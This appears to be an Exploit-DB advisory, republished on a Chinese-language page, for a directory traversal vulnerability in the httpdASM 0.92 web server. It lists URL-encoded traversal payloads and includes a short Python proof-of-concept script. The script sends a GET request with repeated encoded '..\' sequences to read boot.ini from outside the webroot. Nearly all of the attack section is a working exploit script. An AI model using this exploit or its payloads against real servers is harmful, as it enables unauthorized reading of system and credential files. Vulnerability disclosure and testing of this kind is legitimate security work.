httpdasm 0.92 – Directory Traversal

  • 作者: John Leitch
    日期: 2010-12-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/15861/
  • # ------------------------------------------------------------------------
    
    # Software................httpdASM 0.92
    
    # Vulnerability...........Directory Traversal
    
    # Download................http://www.japheth.de/httpdASM.html
    
    # Release Date............12/27/2010
    
    # Tested On...............Windows XP
    
    # ------------------------------------------------------------------------
    
    # Author..................John Leitch
    
    # Site....................http://www.johnleitch.net/
    
    # Email...................john.leitch5@gmail.com
    
    # ------------------------------------------------------------------------
    
    # 
    
    # --Description--
    # 
    # A directory traversal vulnerability in httpdASM 0.92 can be exploited
    # to read files outside of the webroot directory.
    # 
    # 
    # --Exploit--
    # 
    # %2E%2E%5C
    # %2E%2E%2F
    # 
    # 
    # --PoC--
    
    
    
    import socket
    
    host = 'localhost'
    port = 80
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(8)
    s.connect((host, port))
    s.send('GET /' + '%2E%2E%5C' * 8 + 'boot.ini HTTP/1.1\r\n'
     'Host: ' + host + '\r\n\r\n');
    
    print s.recv(8192);